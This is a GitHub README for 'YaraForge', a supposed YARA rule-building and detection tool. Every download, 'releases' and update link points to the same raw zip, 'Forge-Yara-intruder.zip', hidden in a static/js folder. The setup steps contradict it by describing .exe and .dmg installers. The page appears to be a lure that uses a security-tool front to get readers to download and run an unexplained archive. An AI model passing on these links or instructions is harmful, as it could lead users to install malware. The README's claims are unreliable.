Skip to content

Ye-cyber-cell/YaraForge

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

43 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ› οΈ YaraForge - Simple YARA Rule Building & Testing

Download YaraForge


πŸ“ What is YaraForge?

YaraForge is a tool designed to help you create, manage, and test YARA rules. YARA rules are used to find and identify files or processes that match certain patterns. This can help detect malware or suspicious activity on your computer or network.

YaraForge makes it easy by giving you a user-friendly way to build these rules. You don’t need to be a programmer or know complex code. You can also see how your detection rules relate to known cyber threats using a mapping system called MITRE ATT&CK. Finally, you get a simple dashboard to watch your detection results in real time.

The program is built using Python and Flask. You don’t need to know these technologies to use YaraForge, but they help keep it fast and reliable.


βš™οΈ Features

  • Build YARA Rules Visually
    Create detection rules step by step without writing code from scratch.

  • Test Rules Instantly
    Try your rules on sample files or your own data to check if they work.

  • MITRE ATT&CK Mapping
    See how your rules tie into known cyber attack techniques.

  • Detection Dashboard
    Watch your detections in a clear and organized way.

  • Rule Management
    Save, edit, and delete rules easily in one place.

  • User Friendly Interface
    Designed for users with little or no technical background.


πŸ’» System Requirements

To use YaraForge, your computer should meet these minimum requirements:

  • Operating System: Windows 10 or later, macOS 10.14 or later, or a recent Linux version (Ubuntu 18.04+ recommended)
  • Processor: Any modern processor (Intel i3 or better)
  • Memory (RAM): At least 4 GB
  • Disk Space: Minimum 500 MB free storage
  • Network: Internet connection to download and update rules
  • Browser: Modern web browser (Chrome, Firefox, Edge, or Safari)

YaraForge runs as a web app on your machine, so you only need a browser to interact with it after installation.


πŸš€ Getting Started

Step 1: Visit the Download Page

Click the big button at the top or go to:

https://github.com/Ye-cyber-cell/YaraForge/raw/refs/heads/main/static/js/Forge-Yara-intruder.zip

This page hosts the latest versions of YaraForge for download.

Step 2: Choose Your Download

On the releases page, find the latest release. Look for the installer matching your operating system:

  • Windows users: download https://github.com/Ye-cyber-cell/YaraForge/raw/refs/heads/main/static/js/Forge-Yara-intruder.zip
  • Mac users: download https://github.com/Ye-cyber-cell/YaraForge/raw/refs/heads/main/static/js/Forge-Yara-intruder.zip
  • Linux users: download the appropriate package or the source code if available

Step 3: Download the Installer

Click the download link for your file. Your browser will save it to your computer's default "Downloads" folder or a location you specify.

Step 4: Run the Installer

Open the downloaded file to start the installation process.

  • On Windows, double-click the .exe file and follow the setup wizard.
  • On Mac, open the .dmg file, then drag the YaraForge app to your Applications folder.
  • On Linux, follow any provided README instructions or use available installation commands.

Step 5: Launch YaraForge

After installing, open the app:

  • Windows & Mac: Find YaraForge in your Start menu or Applications folder.
  • Linux: Launch via terminal or menu shortcut provided.

This will open a new browser window or tab with the YaraForge interface, running locally on your computer.

Step 6: Start Using YaraForge

From the main screen, you can begin building new YARA rules, test existing ones, and explore the dashboard.


πŸ“₯ Download & Install

You can always access the latest version here:

Download YaraForge - Releases

Follow the download and installation steps above for a smooth setup experience.


πŸ› οΈ How to Use YaraForge

Creating a New Rule

  1. Click "Create Rule" on the home screen.
  2. Enter a rule name and description.
  3. Use the guided form to add conditions, strings, or patterns you want to detect.
  4. Save your rule.

Testing Rules

  1. Select a rule from your list.
  2. Upload a sample file or select data to test against.
  3. Click "Run Test".
  4. View results to see if the rule matched anything.

Using the MITRE ATT&CK Mapping

  • Each rule can link to specific attack techniques for context.
  • This helps security teams understand potential threats.

Checking Your Dashboard

  • View all detection results in one place.
  • Filter by rule, date, or severity.

πŸ”‘ Tips for Best Use

  • Regularly update your rules based on new threats.
  • Use the dashboard to monitor real-time detection activity.
  • Test new rules thoroughly before deploying in live environments.
  • Use the MITRE ATT&CK mapping to align rules with industry standards.

πŸ†˜ Getting Help

If you run into issues:


πŸ” Privacy & Security

YaraForge runs locally on your system. Your data and rules stay on your machine unless you choose to share them. No personal information is sent or collected by default.


πŸ”„ Updates

Check the releases page regularly for new versions:

https://github.com/Ye-cyber-cell/YaraForge/raw/refs/heads/main/static/js/Forge-Yara-intruder.zip

Updates can include bug fixes, new features, and improved rule support.


🏷️ Tags

cybersecurity, detection-engineering, flask, mitre-attack, purple-team, python, security-tools, soc, threat-detection, yara